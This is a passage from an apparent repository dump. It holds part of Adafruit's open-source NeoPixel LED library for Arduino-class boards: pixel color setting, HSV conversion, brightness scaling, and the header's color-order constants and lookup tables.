an RGB-type strip\r\n      p = &pixels[n * 3];    // 3 bytes per pixel\r\n    } else {                 // Is a WRGB-type strip\r\n      p = &pixels[n * 4];    // 4 bytes per pixel\r\n      p[wOffset] = 0;        // But only R,G,B passed -- set W to 0\r\n    }\r\n    p[rOffset] = r;          // R,G,B always stored\r\n    p[gOffset] = g;\r\n    p[bOffset] = b;\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Set a pixel's color using separate red, green, blue and white\r\n           components (for RGBW NeoPixels only).\r\n  @param   n  Pixel index, starting from 0.\r\n  @param   r  Red brightness, 0 = minimum (off), 255 = maximum.\r\n  @param   g  Green brightness, 0 = minimum (off), 255 = maximum.\r\n  @param   b  Blue brightness, 0 = minimum (off), 255 = maximum.\r\n  @param   w  White brightness, 0 = minimum (off), 255 = maximum, ignored\r\n              if using RGB pixels.\r\n*/\r\nvoid Adafruit_NeoPixel::setPixelColor(\r\n uint16_t n, uint8_t r, uint8_t g, uint8_t b, uint8_t w) {\r\n\r\n  if(n < numLEDs) {\r\n    if(brightness) { // See notes in setBrightness()\r\n      r = (r * brightness) >> 8;\r\n      g = (g * brightness) >> 8;\r\n      b = (b * brightness) >> 8;\r\n      w = (w * brightness) >> 8;\r\n    }\r\n    uint8_t *p;\r\n    if(wOffset == rOffset) { // Is an RGB-type strip\r\n      p = &pixels[n * 3];    // 3 bytes per pixel (ignore W)\r\n    } else {                 // Is a WRGB-type strip\r\n      p = &pixels[n * 4];    // 4 bytes per pixel\r\n      p[wOffset] = w;        // Store W\r\n    }\r\n    p[rOffset] = r;          // Store R,G,B\r\n    p[gOffset] = g;\r\n    p[bOffset] = b;\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Set a pixel's color using a 32-bit 'packed' RGB or RGBW value.\r\n  @param   n  Pixel index, starting from 0.\r\n  @param   c  32-bit color value. Most significant byte is white (for RGBW\r\n              pixels) or ignored (for RGB pixels), next is red, then green,\r\n              and least significant byte is blue.\r\n*/\r\nvoid Adafruit_NeoPixel::setPixelColor(uint16_t n, uint32_t c) {\r\n  if(n < numLEDs) {\r\n    uint8_t *p,\r\n      r = (uint8_t)(c >> 16),\r\n      g = (uint8_t)(c >>  8),\r\n      b = (uint8_t)c;\r\n    if(brightness) { // See notes in setBrightness()\r\n      r = (r * brightness) >> 8;\r\n      g = (g * brightness) >> 8;\r\n      b = (b * brightness) >> 8;\r\n    }\r\n    if(wOffset == rOffset) {\r\n      p = &pixels[n * 3];\r\n    } else {\r\n      p = &pixels[n * 4];\r\n      uint8_t w = (uint8_t)(c >> 24);\r\n      p[wOffset] = brightness ? ((w * brightness) >> 8) : w;\r\n    }\r\n    p[rOffset] = r;\r\n    p[gOffset] = g;\r\n    p[bOffset] = b;\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Fill all or part of the NeoPixel strip with a color.\r\n  @param   c      32-bit color value. Most significant byte is white (for\r\n                  RGBW pixels) or ignored (for RGB pixels), next is red,\r\n                  then green, and least significant byte is blue. If all\r\n                  arguments are unspecified, this will be 0 (off).\r\n  @param   first  Index of first pixel to fill, starting from 0. Must be\r\n                  in-bounds, no clipping is performed. 0 if unspecified.\r\n  @param   count  Number of pixels to fill, as a positive value. Passing\r\n                  0 or leaving unspecified will fill to end of strip.\r\n*/\r\nvoid Adafruit_NeoPixel::fill(uint32_t c, uint16_t first, uint16_t count) {\r\n  uint16_t i, end;\r\n\r\n  if(first >= numLEDs) {\r\n    return; // If first LED is past end of strip, nothing to do\r\n  }\r\n\r\n  // Calculate the index ONE AFTER the last pixel to fill\r\n  if(count == 0) {\r\n    // Fill to end of strip\r\n    end = numLEDs;\r\n  } else {\r\n    // Ensure that the loop won't go past the last pixel\r\n    end = first + count;\r\n    if(end > numLEDs) end = numLEDs;\r\n  }\r\n\r\n  for(i = first; i < end; i++) {\r\n    this->setPixelColor(i, c);\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Convert hue, saturation and value into a packed 32-bit RGB color\r\n           that can be passed to setPixelColor() or other RGB-compatible\r\n           functions.\r\n  @param   hue  An unsigned 16-bit value, 0 to 65535, representing one full\r\n                loop of the color wheel, which allows 16-bit hues to \"roll\r\n                over\" while still doing the expected thing (and allowing\r\n                more precision than the wheel() function that was common to\r\n                prior NeoPixel examples).\r\n  @param   sat  Saturation, 8-bit value, 0 (min or pure grayscale) to 255\r\n                (max or pure hue). Default of 255 if unspecified.\r\n  @param   val  Value (brightness), 8-bit value, 0 (min / black / off) to\r\n                255 (max or full brightness). Default of 255 if unspecified.\r\n  @return  Packed 32-bit RGB with the most significant byte set to 0 -- the\r\n           white element of WRGB pixels is NOT utilized. Result is linearly\r\n           but not perceptually correct, so you may want to pass the result\r\n           through the gamma32() function (or your own gamma-correction\r\n           operation) else colors may appear washed out. This is not done\r\n           automatically by this function because coders may desire a more\r\n           refined gamma-correction function than the simplified\r\n           one-size-fits-all operation of gamma32(). Diffusing the LEDs also\r\n           really seems to help when using low-saturation colors.\r\n*/\r\nuint32_t Adafruit_NeoPixel::ColorHSV(uint16_t hue, uint8_t sat, uint8_t val) {\r\n\r\n  uint8_t r, g, b;\r\n\r\n  // Remap 0-65535 to 0-1529. Pure red is CENTERED on the 64K rollover;\r\n  // 0 is not the start of pure red, but the midpoint...a few values above\r\n  // zero and a few below 65536 all yield pure red (similarly, 32768 is the\r\n  // midpoint, not start, of pure cyan). The 8-bit RGB hexcone (256 values\r\n  // each for red, green, blue) really only allows for 1530 distinct hues\r\n  // (not 1536, more on that below), but the full unsigned 16-bit type was\r\n  // chosen for hue so that one's code can easily handle a contiguous color\r\n  // wheel by allowing hue to roll over in either direction.\r\n  hue = (hue * 1530L + 32768) / 65536;\r\n  // Because red is centered on the rollover point (the +32768 above,\r\n  // essentially a fixed-point +0.5), the above actually yields 0 to 1530,\r\n  // where 0 and 1530 would yield the same thing. Rather than apply a\r\n  // costly modulo operator, 1530 is handled as a special case below.\r\n\r\n  // So you'd think that the color \"hexcone\" (the thing that ramps from\r\n  // pure red, to pure yellow, to pure green and so forth back to red,\r\n  // yielding six slices), and with each color component having 256\r\n  // possible values (0-255), might have 1536 possible items (6*256),\r\n  // but in reality there's 1530. This is because the last element in\r\n  // each 256-element slice is equal to the first element of the next\r\n  // slice, and keeping those in there this would create small\r\n  // discontinuities in the color wheel. So the last element of each\r\n  // slice is dropped...we regard only elements 0-254, with item 255\r\n  // being picked up as element 0 of the next slice. Like this:\r\n  // Red to not-quite-pure-yellow is:        255,   0, 0 to 255, 254,   0\r\n  // Pure yellow to not-quite-pure-green is: 255, 255, 0 to   1, 255,   0\r\n  // Pure green to not-quite-pure-cyan is:     0, 255, 0 to   0, 255, 254\r\n  // and so forth. Hence, 1530 distinct hues (0 to 1529), and hence why\r\n  // the constants below are not the multiples of 256 you might expect.\r\n\r\n  // Convert hue to R,G,B (nested ifs faster than divide+mod+switch):\r\n  if(hue < 510) {         // Red to Green-1\r\n    b = 0;\r\n    if(hue < 255) {       //   Red to Yellow-1\r\n      r = 255;\r\n      g = hue;            //     g = 0 to 254\r\n    } else {              //   Yellow to Green-1\r\n      r = 510 - hue;      //     r = 255 to 1\r\n      g = 255;\r\n    }\r\n  } else if(hue < 1020) { // Green to Blue-1\r\n    r = 0;\r\n    if(hue <  765) {      //   Green to Cyan-1\r\n      g = 255;\r\n      b = hue - 510;      //     b = 0 to 254\r\n    } else {              //   Cyan to Blue-1\r\n      g = 1020 - hue;     //     g = 255 to 1\r\n      b = 255;\r\n    }\r\n  } else if(hue < 1530) { // Blue to Red-1\r\n    g = 0;\r\n    if(hue < 1275) {      //   Blue to Magenta-1\r\n      r = hue - 1020;     //     r = 0 to 254\r\n      b = 255;\r\n    } else {              //   Magenta to Red-1\r\n      r = 255;\r\n      b = 1530 - hue;     //     b = 255 to 1\r\n    }\r\n  } else {                // Last 0.5 Red (quicker than % operator)\r\n    r = 255;\r\n    g = b = 0;\r\n  }\r\n\r\n  // Apply saturation and value to R,G,B, pack into 32-bit result:\r\n  uint32_t v1 =   1 + val; // 1 to 256; allows >>8 instead of /255\r\n  uint16_t s1 =   1 + sat; // 1 to 256; same reason\r\n  uint8_t  s2 = 255 - sat; // 255 to 0\r\n  return ((((((r * s1) >> 8) + s2) * v1) & 0xff00) << 8) |\r\n          (((((g * s1) >> 8) + s2) * v1) & 0xff00)       |\r\n         ( ((((b * s1) >> 8) + s2) * v1)           >> 8);\r\n}\r\n\r\n/*!\r\n  @brief   Query the color of a previously-set pixel.\r\n  @param   n  Index of pixel to read (0 = first).\r\n  @return  'Packed' 32-bit RGB or WRGB value. Most significant byte is white\r\n           (for RGBW pixels) or 0 (for RGB pixels), next is red, then green,\r\n           and least significant byte is blue.\r\n  @note    If the strip brightness has been changed from the default value\r\n           of 255, the color read from a pixel may not exactly match what\r\n           was previously written with one of the setPixelColor() functions.\r\n           This gets more pronounced at lower brightness levels.\r\n*/\r\nuint32_t Adafruit_NeoPixel::getPixelColor(uint16_t n) const {\r\n  if(n >= numLEDs) return 0; // Out of bounds, return no color.\r\n\r\n  uint8_t *p;\r\n\r\n  if(wOffset == rOffset) { // Is RGB-type device\r\n    p = &pixels[n * 3];\r\n    if(brightness) {\r\n      // Stored color was decimated by setBrightness(). Returned value\r\n      // attempts to scale back to an approximation of the original 24-bit\r\n      // value used when setting the pixel color, but there will always be\r\n      // some error -- those bits are simply gone. Issue is most\r\n      // pronounced at low brightness levels.\r\n      return (((uint32_t)(p[rOffset] << 8) / brightness) << 16) |\r\n             (((uint32_t)(p[gOffset] << 8) / brightness) <<  8) |\r\n             ( (uint32_t)(p[bOffset] << 8) / brightness       );\r\n    } else {\r\n      // No brightness adjustment has been made -- return 'raw' color\r\n      return ((uint32_t)p[rOffset] << 16) |\r\n             ((uint32_t)p[gOffset] <<  8) |\r\n              (uint32_t)p[bOffset];\r\n    }\r\n  } else {                 // Is RGBW-type device\r\n    p = &pixels[n * 4];\r\n    if(brightness) { // Return scaled color\r\n      return (((uint32_t)(p[wOffset] << 8) / brightness) << 24) |\r\n             (((uint32_t)(p[rOffset] << 8) / brightness) << 16) |\r\n             (((uint32_t)(p[gOffset] << 8) / brightness) <<  8) |\r\n             ( (uint32_t)(p[bOffset] << 8) / brightness       );\r\n    } else { // Return raw color\r\n      return ((uint32_t)p[wOffset] << 24) |\r\n             ((uint32_t)p[rOffset] << 16) |\r\n             ((uint32_t)p[gOffset] <<  8) |\r\n              (uint32_t)p[bOffset];\r\n    }\r\n  }\r\n}\r\n\r\n\r\n/*!\r\n  @brief   Adjust output brightness. Does not immediately affect what's\r\n           currently displayed on the LEDs. The next call to show() will\r\n           refresh the LEDs at this level.\r\n  @param   b  Brightness setting, 0=minimum (off), 255=brightest.\r\n  @note    This was intended for one-time use in one's setup() function,\r\n           not as an animation effect in itself. Because of the way this\r\n           library \"pre-multiplies\" LED colors in RAM, changing the\r\n           brightness is often a \"lossy\" operation -- what you write to\r\n           pixels isn't necessary the same as what you'll read back.\r\n           Repeated brightness changes using this function exacerbate the\r\n           problem. Smart programs therefore treat the strip as a\r\n           write-only resource, maintaining their own state to render each\r\n           frame of an animation, not relying on read-modify-write.\r\n*/\r\nvoid Adafruit_NeoPixel::setBrightness(uint8_t b) {\r\n  // Stored brightness value is different than what's passed.\r\n  // This simplifies the actual scaling math later, allowing a fast\r\n  // 8x8-bit multiply and taking the MSB. 'brightness' is a uint8_t,\r\n  // adding 1 here may (intentionally) roll over...so 0 = max brightness\r\n  // (color values are interpreted literally; no scaling), 1 = min\r\n  // brightness (off), 255 = just below max brightness.\r\n  uint8_t newBrightness = b + 1;\r\n  if(newBrightness != brightness) { // Compare against prior value\r\n    // Brightness has changed -- re-scale existing data in RAM,\r\n    // This process is potentially \"lossy,\" especially when increasing\r\n    // brightness. The tight timing in the WS2811/WS2812 code means there\r\n    // aren't enough free cycles to perform this scaling on the fly as data\r\n    // is issued. So we make a pass through the existing color data in RAM\r\n    // and scale it (subsequent graphics commands also work at this\r\n    // brightness level). If there's a significant step up in brightness,\r\n    // the limited number of steps (quantization) in the old data will be\r\n    // quite visible in the re-scaled version. For a non-destructive\r\n    // change, you'll need to re-render the full strip data. C'est la vie.\r\n    uint8_t  c,\r\n            *ptr           = pixels,\r\n             oldBrightness = brightness - 1; // De-wrap old brightness value\r\n    uint16_t scale;\r\n    if(oldBrightness == 0) scale = 0; // Avoid /0\r\n    else if(b == 255) scale = 65535 / oldBrightness;\r\n    else scale = (((uint16_t)newBrightness << 8) - 1) / oldBrightness;\r\n    for(uint16_t i=0; i<numBytes; i++) {\r\n      c      = *ptr;\r\n      *ptr++ = (c * scale) >> 8;\r\n    }\r\n    brightness = newBrightness;\r\n  }\r\n}\r\n\r\n/*!\r\n  @brief   Retrieve the last-set brightness value for the strip.\r\n  @return  Brightness value: 0 = minimum (off), 255 = maximum.\r\n*/\r\nuint8_t Adafruit_NeoPixel::getBrightness(void) const {\r\n  return brightness - 1;\r\n}\r\n\r\n/*!\r\n  @brief   Fill the whole NeoPixel strip with 0 / black / off.\r\n*/\r\nvoid Adafruit_NeoPixel::clear(void) {\r\n  memset(pixels, 0, numBytes);\r\n}\r\n\r\n// A 32-bit variant of gamma8() that applies the same function\r\n// to all components of a packed RGB or WRGB value.\r\nuint32_t Adafruit_NeoPixel::gamma32(uint32_t x) {\r\n  uint8_t *y = (uint8_t *)&x;\r\n  // All four bytes of a 32-bit value are filtered even if RGB (not WRGB),\r\n  // to avoid a bunch of shifting and masking that would be necessary for\r\n  // properly handling different endianisms (and each byte is a fairly\r\n  // trivial operation, so it might not even be wasting cycles vs a check\r\n  // and branch for the RGB case). In theory this might cause trouble *if*\r\n  // someone's storing information in the unused most significant byte\r\n  // of an RGB value, but this seems exceedingly rare and if it's\r\n  // encountered in reality they can mask values going in or coming out.\r\n  for(uint8_t i=0; i<4; i++) y[i] = gamma8(y[i]);\r\n  return x; // Packed 32-bit return\r\n}\r\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h",
    "content": "/*!\n * @file Adafruit_NeoPixel.h\n *\n * This is part of Adafruit's NeoPixel library for the Arduino platform,\n * allowing a broad range of microcontroller boards (most AVR boards,\n * many ARM devices, ESP8266 and ESP32, among others) to control Adafruit\n * NeoPixels, FLORA RGB Smart Pixels and compatible devices -- WS2811,\n * WS2812, WS2812B, SK6812, etc.\n *\n * Adafruit invests time and resources providing this open source code,\n * please support Adafruit and open-source hardware by purchasing products\n * from Adafruit!\n *\n * Written by Phil \"Paint Your Dragon\" Burgess for Adafruit Industries,\n * with contributions by PJRC, Michael Miller and other members of the\n * open source community.\n *\n * This file is part of the Adafruit_NeoPixel library.\n *\n * Adafruit_NeoPixel is free software: you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Adafruit_NeoPixel is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with NeoPixel.  If not, see\n * <http://www.gnu.org/licenses/>.\n *\n */\n\n#ifndef ADAFRUIT_NEOPIXEL_H\n#define ADAFRUIT_NEOPIXEL_H\n\n#ifdef ARDUINO\n  #if (ARDUINO >= 100)\n  #include <Arduino.h>\n  #else\n  #include <WProgram.h>\n  #include <pins_arduino.h>\n  #endif\n#endif\n\n#ifdef TARGET_LPC1768\n  #include <Arduino.h>\n#endif\n\n// The order of primary colors in the NeoPixel data stream can vary among\n// device types, manufacturers and even different revisions of the same\n// item.  The third parameter to the Adafruit_NeoPixel constructor encodes\n// the per-pixel byte offsets of the red, green and blue primaries (plus\n// white, if present) in the data stream -- the following #defines provide\n// an easier-to-use named version for each permutation. e.g. NEO_GRB\n// indicates a NeoPixel-compatible device expecting three bytes per pixel,\n// with the first byte transmitted containing the green value, second\n// containing red and third containing blue. The in-memory representation\n// of a chain of NeoPixels is the same as the data-stream order; no\n// re-ordering of bytes is required when issuing data to the chain.\n// Most of these values won't exist in real-world devices, but it's done\n// this way so we're ready for it (also, if using the WS2811 driver IC,\n// one might have their pixels set up in any weird permutation).\n\n// Bits 5,4 of this value are the offset (0-3) from the first byte of a\n// pixel to the location of the red color byte.  Bits 3,2 are the green\n// offset and 1,0 are the blue offset.  If it is an RGBW-type device\n// (supporting a white primary in addition to R,G,B), bits 7,6 are the\n// offset to the white byte...otherwise, bits 7,6 are set to the same value\n// as 5,4 (red) to indicate an RGB (not RGBW) device.\n// i.e. binary representation:\n// 0bWWRRGGBB for RGBW devices\n// 0bRRRRGGBB for RGB\n\n// RGB NeoPixel permutations; white and red offsets are always same\n// Offset:         W        R        G        B\n#define NEO_RGB  ((0<<6) | (0<<4) | (1<<2) | (2)) ///< Transmit as R,G,B\n#define NEO_RBG  ((0<<6) | (0<<4) | (2<<2) | (1)) ///< Transmit as R,B,G\n#define NEO_GRB  ((1<<6) | (1<<4) | (0<<2) | (2)) ///< Transmit as G,R,B\n#define NEO_GBR  ((2<<6) | (2<<4) | (0<<2) | (1)) ///< Transmit as G,B,R\n#define NEO_BRG  ((1<<6) | (1<<4) | (2<<2) | (0)) ///< Transmit as B,R,G\n#define NEO_BGR  ((2<<6) | (2<<4) | (1<<2) | (0)) ///< Transmit as B,G,R\n\n// RGBW NeoPixel permutations; all 4 offsets are distinct\n// Offset:         W          R          G          B\n#define NEO_WRGB ((0<<6) | (1<<4) | (2<<2) | (3)) ///< Transmit as W,R,G,B\n#define NEO_WRBG ((0<<6) | (1<<4) | (3<<2) | (2)) ///< Transmit as W,R,B,G\n#define NEO_WGRB ((0<<6) | (2<<4) | (1<<2) | (3)) ///< Transmit as W,G,R,B\n#define NEO_WGBR ((0<<6) | (3<<4) | (1<<2) | (2)) ///< Transmit as W,G,B,R\n#define NEO_WBRG ((0<<6) | (2<<4) | (3<<2) | (1)) ///< Transmit as W,B,R,G\n#define NEO_WBGR ((0<<6) | (3<<4) | (2<<2) | (1)) ///< Transmit as W,B,G,R\n\n#define NEO_RWGB ((1<<6) | (0<<4) | (2<<2) | (3)) ///< Transmit as R,W,G,B\n#define NEO_RWBG ((1<<6) | (0<<4) | (3<<2) | (2)) ///< Transmit as R,W,B,G\n#define NEO_RGWB ((2<<6) | (0<<4) | (1<<2) | (3)) ///< Transmit as R,G,W,B\n#define NEO_RGBW ((3<<6) | (0<<4) | (1<<2) | (2)) ///< Transmit as R,G,B,W\n#define NEO_RBWG ((2<<6) | (0<<4) | (3<<2) | (1)) ///< Transmit as R,B,W,G\n#define NEO_RBGW ((3<<6) | (0<<4) | (2<<2) | (1)) ///< Transmit as R,B,G,W\n\n#define NEO_GWRB ((1<<6) | (2<<4) | (0<<2) | (3)) ///< Transmit as G,W,R,B\n#define NEO_GWBR ((1<<6) | (3<<4) | (0<<2) | (2)) ///< Transmit as G,W,B,R\n#define NEO_GRWB ((2<<6) | (1<<4) | (0<<2) | (3)) ///< Transmit as G,R,W,B\n#define NEO_GRBW ((3<<6) | (1<<4) | (0<<2) | (2)) ///< Transmit as G,R,B,W\n#define NEO_GBWR ((2<<6) | (3<<4) | (0<<2) | (1)) ///< Transmit as G,B,W,R\n#define NEO_GBRW ((3<<6) | (2<<4) | (0<<2) | (1)) ///< Transmit as G,B,R,W\n\n#define NEO_BWRG ((1<<6) | (2<<4) | (3<<2) | (0)) ///< Transmit as B,W,R,G\n#define NEO_BWGR ((1<<6) | (3<<4) | (2<<2) | (0)) ///< Transmit as B,W,G,R\n#define NEO_BRWG ((2<<6) | (1<<4) | (3<<2) | (0)) ///< Transmit as B,R,W,G\n#define NEO_BRGW ((3<<6) | (1<<4) | (2<<2) | (0)) ///< Transmit as B,R,G,W\n#define NEO_BGWR ((2<<6) | (3<<4) | (1<<2) | (0)) ///< Transmit as B,G,W,R\n#define NEO_BGRW ((3<<6) | (2<<4) | (1<<2) | (0)) ///< Transmit as B,G,R,W\n\n// Add NEO_KHZ400 to the color order value to indicate a 400 KHz device.\n// All but the earliest v1 NeoPixels expect an 800 KHz data stream, this is\n// the default if unspecified. Because flash space is very limited on ATtiny\n// devices (e.g. Trinket, Gemma), v1 NeoPixels aren't handled by default on\n// those chips, though it can be enabled by removing the ifndef/endif below,\n// but code will be bigger. Conversely, can disable the NEO_KHZ400 line on\n// other MCUs to remove v1 support and save a little space.\n\n#define NEO_KHZ800 0x0000 ///< 800 KHz data transmission\n#ifndef __AVR_ATtiny85__\n#define NEO_KHZ400 0x0100 ///< 400 KHz data transmission\n#endif\n\n// If 400 KHz support is enabled, the third parameter to the constructor\n// requires a 16-bit value (in order to select 400 vs 800 KHz speed).\n// If only 800 KHz is enabled (as is default on ATtiny), an 8-bit value\n// is sufficient to encode pixel color order, saving some space.\n\n#ifdef NEO_KHZ400\ntypedef uint16_t neoPixelType; ///< 3rd arg to Adafruit_NeoPixel constructor\n#else\ntypedef uint8_t  neoPixelType; ///< 3rd arg to Adafruit_NeoPixel constructor\n#endif\n\n// These two tables are declared outside the Adafruit_NeoPixel class\n// because some boards may require oldschool compilers that don't\n// handle the C++11 constexpr keyword.\n\n/* A PROGMEM (flash mem) table containing 8-bit unsigned sine wave (0-255).\n   Copy & paste this snippet into a Python REPL to regenerate:\nimport math\nfor x in range(256):\n    print(\"{:3},\".format(int((math.sin(x/128.0*math.pi)+1.0)*127.5+0.5))),\n    if x&15 == 15: print\n*/\nstatic const uint8_t PROGMEM _NeoPixelSineTable[256] = {\n  128,131,134,137,140,143,146,149,152,155,158,162,165,167,170,173,\n  176,179,182,185,188,190,193,196,198,201,203,206,208,211,213,215,\n  218,220,222,224,226,228,230,232,234,235,237,238,240,241,243,244,\n  245,246,248,249,250,250,251,252,253,253,254,254,254,255,255,255,\n  255,255,255,255,254,254,254,253,253,252,251,250,250,249,248,246,\n  245,244,243,241,240,238,237,235,234,232,230,228,226,224,222,220,\n  218,215,213,211,208,206,203,201,198,196,193,190,188,185,182,179,\n  176,173,170,167,165,162,158,155,152,149,146,143,140,137,134,131,\n  128,124,121,118,115,112,109,106,103,100, 97, 93, 90, 88, 85, 82,\n   79, 76, 73, 70, 67, 65, 62, 59, 57, 54, 52, 49, 47, 44, 42, 40,\n   37, 35, 33, 31, 29, 27, 25, 23, 21, 20, 18, 17, 15, 14, 12, 11,\n   10,  9,  7,  6,  5,  5,  4,  3,  2,  2,  1,  1,  1,  0,  0,  0,\n    0,  0,  0,  0,  1,  1,  1,  2,  2,  3,  4,  5,  5,  6,  7,  9,\n   10, 11, 12, 14, 15, 17, 18, 20, 21, 23, 25, 27, 29, 31, 33, 35,\n   37, 40, 42, 44, 47, 49, 52, 54, 57, 59, 62, 65, 67, 70, 73, 76,\n   79, 82, 85, 88, 90, 93, 97,100,103,106,109,112,115,118,121,124};\n\n/* Similar to above, but for an 8-bit gamma-correction table.\n   Copy & paste this snippet into a Python REPL to regenerate:\nimport math\ngamma=2.6\nfor x in range(256):\n    print(\"{:3},\".format(int(math.pow((x)/255.0,gamma)*255.0+0.5))),\n    if x&15 == 15: print\n*/\nstatic const uint8_t PROGMEM _NeoPixelGammaTable[256] = {\n    0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,\n    0,  0,  0,  0,  0,  0,  0,  0,  1,  1,  1,  1,  1,  1,  1,  1,\n    1,  1,  1,  1,  2,  2,  2,  2,  2,  2,  2,  2,  3,  3,  3,  3,\n    3,  3,  4,  4,  4,  4,  5,  5,  5,  5,  5,  6,  6,  6,  6,  7,\n    7,  7,  8,  8,  8,  9,  9,  9, 10, 10, 10, 11, 11, 11, 12, 12,\n   13, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20,\n   20, 21, 21, 22, 22, 23, 24, 24, 25, 25, 26, 27, 27, 28, 29, 29,\n   30, 31, 31, 32, 33, 34, 34, 35, 36, 37, 38, 38, 39, 40, 41, 42,\n   42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,\n   58, 59, 60, 61, 62, 63, 64, 65, 66, 68, 69, 70, 71, 72, 73, 75,\n   76, 77, 78, 80, 81, 82, 84, 85, 86, 88, 89, 90, 92, 93, 94, 96,\n   97, 99,100,102,103,105,106,108,109,111,112,114,115,117,119,120,\n  122,124,125,127,129,130,132,134,136,137,139,141,143,145,146,148,\n  150,152,154,156,158,160,162,164,166,168,170,172,174,176,178,180,\n  182,184,186,188,191,193,195,197,199,202,204,206,209,211,213,215,\n  218,220,223,225,227,230,232,235,237,240,242,245,247,250,252,255};\n\n/*! \n    @brief  Class that stores state and functions for interacting with\n            Adafruit NeoPixels and compatible devices.\n*/\nclass Adafruit_NeoPixel {\n\n public:\n\n  // Constructor: number of LEDs, pin number, LED type\n  Adafruit_NeoPixel(uint16_t n, uint16_t pin=6,\n    neoPixelType type=NEO_GRB + NEO_KHZ800);\n  Adafruit_NeoPixel(void);\n  ~Adafruit_NeoPixel();\n\n  void              begin(void);\n  void              show(void);\n  void              setPin(uint16_t p);\n  void              setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b);\n  void              setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b,\n                      uint8_t w);\n  void              setPixelColor(uint16_t n, uint32_t c);\n  void              fill(uint32_t c=0, uint16_t first=0, uint16_t count=0);\n  void              setBrightness(uint8_t);\n  void              clear(void);\n  void              updateLength(uint16_t n);\n  void              updateType(neoPixelType t);\n  /*!\n    @brief   Check whether a call to show() will start sending data\n             immediately or will 'block' for a required interval. NeoPixels\n             require a short quiet time (about 300 microseconds) after the\n             last bit is received before the data 'latches' and new data can\n             start being received. Usually one's sketch is implicitly using\n             this time to generate a new frame of animation...but if it\n             finishes very quickly, this function could be used to see if\n             there's some idle time available for some low-priority\n             concurrent task.\n    @return  1 or true if show() will start sending immediately, 0 or false\n             if show() would block (meaning some idle time is available).\n  */\n  bool canShow(void) {\n    if (endTime > micros()) {\n      endTime = micros();\n    }\n    return (micros() - endTime) >= 300L;\n  }\n  /*!\n    @brief   Get a pointer directly to the NeoPixel data buffer in RAM.\n             Pixel data is stored in a device-native format (a la the NEO_*\n             constants) and is not translated here. Applications that access\n             this buffer will need to be aware of the specific data format\n             and handle colors appropriately.\n    @return  Pointer to NeoPixel buffer (uint8_t* array).\n    @note    This is for high-performance applications where calling\n             setPixelColor() on every single pixel would be too slow (e.g.\n             POV or light-painting projects). There is no bounds checking\n             on the array, creating tremendous potential for mayhem if one\n             writes past the ends of the buffer. Great power, great\n             responsibility and all that.\n  */\n  uint8_t          *getPixels(void) const { return pixels; };\n  uint8_t           getBrightness(void) const;\n  /*!\n    @brief   Retrieve the pin number used for NeoPixel data output.\n    @return  Arduino pin number (-1 if not set).\n  */\n  int16_t           getPin(void) const { return pin; };\n  /*!\n    @brief   Return the number of pixels in an Adafruit_NeoPixel strip object.\n    @return  Pixel count (0 if not set).\n  */\n  uint16_t          numPixels(void) const { return numLEDs; }\n  uint32_t          getPixelColor(uint16_t n) const;\n  /*!\n    @brief   An 8-bit integer sine wave function, not directly compatible\n             with standard trigonometric units like radians or degrees.\n    @param   x  Input angle, 0-255; 256 would loop back to zero, completing\n                the circle (equivalent to 360 degrees or 2 pi radians).\n                One can therefore use an unsigned 8-bit variable and simply\n                add or subtract, allowing it to overflow/underflow and it\n                still does the expected contiguous thing.\n    @return  Sine result, 0 to 255, or -128 to +127 if type-converted to\n             a signed int8_t, but you'll most likely want unsigned as this\n             output is often used for pixel brightness in animation effects.\n  */\n  static uint8_t    sine8(uint8_t x) {\n    return pgm_read_byte(&_NeoPixelSineTable[x]); // 0-255 in, 0-255 out\n  }\n  /*!\n    @brief   An 8-bit gamma-correction function for basic pixel brightness\n             adjustment. Makes color transitions appear more perceptially\n             correct.\n    @param   x  Input brightness, 0 (minimum or off/black) to 255 (maximum).\n    @return  Gamma-adjusted brightness, can then be passed to one of the\n             setPixelColor() functions. This uses a fixed gamma correction\n             exponent of 2.6, which seems reasonably okay for average\n             NeoPixels in average tasks. If you need finer control you'll\n             need to provide your own gamma-correction function instead.\n  */\n  static uint8_t    gamma8(uint8_t x) {\n    return pgm_read_byte(&_NeoPixelGammaTable[x]); // 0-255 in, 0-255 out\n  }\n  /*!\n    @brief   Convert separate red, green and blue values into a single\n             \"packed\" 32-bit RGB color.\n    @param   r  Red brightness, 0 to 255.\n    @param   g  Green brightness, 0 to 255.\n    @param   b  Blue brightness, 0 to 255.\n    @return  32-bit packed RGB value, which can then be assigned to a\n             variable for later use or passed to the setPixelColor()\n             function. Packed RGB format is predictable, regardless of\n             LED strand color order.\n  */\n  static uint32_t   Color(uint8_t r, uint8_t g, uint8_t b) {\n    return ((uint32_t)r << 16) | ((uint32_t)g <<  8) | b;\n  }\n  /*!\n    @brief   Convert separate red, green, blue and white values into a\n             single \"packed\" 32-bit WRGB color.\n    @param   r  Red brightness, 0 to 255.\n    @param   g  Green brightness, 0 to 255.\n    @param   b  Blue brightness, 0 to 255.\n    @param   w  White brightness, 0 to 255.\n    @return  32-bit packed WRGB value, which can then be assigned to a\n             variable for later use or passed to the setPixelColor()\n             function. Packed WRGB format is predictable, regardless of\n             LED strand color order.\n  */\n  static uint32_t   Color(uint8_t r, uint8_t g, uint8_t b, uint8_t w) {\n    return ((uint32_t)w << 24) | ((uint32_t)r << 16) | ((uint32_t)g <<  8) | b;\n  }\n  static uint32_t   ColorHSV(uint16_t hue, uint8_t sat=255, uint8_t val=255);\n  /*!\n    @brief   A gamma-correction function for 32-bit packed RGB or WRGB\n             colors. Makes color transitions appear more perceptially\n             correct.\n    @param   x  32-bit packed RGB 